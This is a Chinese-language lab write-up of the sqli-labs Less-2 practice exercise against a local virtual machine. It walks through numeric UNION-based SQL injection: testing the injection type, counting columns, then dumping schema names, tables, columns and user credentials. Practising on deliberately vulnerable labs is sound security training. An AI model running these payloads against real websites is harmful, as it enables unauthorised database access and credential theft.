sqli-labs靶场第二关less-2

sqli-labs靶场第二关less-2

本次测试在虚拟机搭建靶场,从主机测试

1、输入?id=1和?id=2发现有不同的页面回显

2、判断注入类型

http://192.168.128.3/sq/Less-2/?id=1'

从回显判断多一个' ,预测可能是数字型注入

输入

http://192.168.128.3/sq/Less-2/?id=1 and 1=1

http://192.168.128.3/sq/Less-2/?id=1 and 1=2

发现and 1=1 正常回显,and 1=2 回显错误,确定数字型注入

3、确定列数

http://192.168.128.3/sq/Less-2/?id=1 group by 5

http://192.168.128.3/sq/Less-2/?id=1 group by 4

http://192.168.128.3/sq/Less-2/?id=1 group by 3

group by 3 的时候回显正常,确定有三列。

4、确定回显位

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,2,3

2.3位为回显位

5、查询数据库名和版本

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,database(),version()

6、爆出数据库名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

7、爆出表名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

8、爆出列名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'

9、爆出数据

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(username,'~',password),3 from security.users

** 大功告成**

相关推荐
DemonAvenger6 分钟前
MySQL海量数据快速导入导出技巧:从实战到优化
数据库·mysql·性能优化
薛定谔的算法17 小时前
phoneGPT:构建专业领域的检索增强型智能问答系统
前端·数据库·后端
Databend18 小时前
Databend 亮相 RustChinaConf 2025,分享基于 Rust 构建商业化数仓平台的探索
数据库
得物技术19 小时前
破解gh-ost变更导致MySQL表膨胀之谜|得物技术
数据库·后端·mysql
Raymond运维1 天前
MariaDB源码编译安装(二)
运维·数据库·mariadb
沢田纲吉1 天前
🗄️ MySQL 表操作全面指南
数据库·后端·mysql
RestCloud2 天前
SQL Server到Hive:批处理ETL性能提升30%的实战经验
数据库·api
RestCloud2 天前
为什么说零代码 ETL 是未来趋势?
数据库·api
ClouGence2 天前
CloudCanal + Paimon + SelectDB 从 0 到 1 构建实时湖仓
数据库
DemonAvenger2 天前
NoSQL与MySQL混合架构设计:从入门到实战的最佳实践
数据库·mysql·性能优化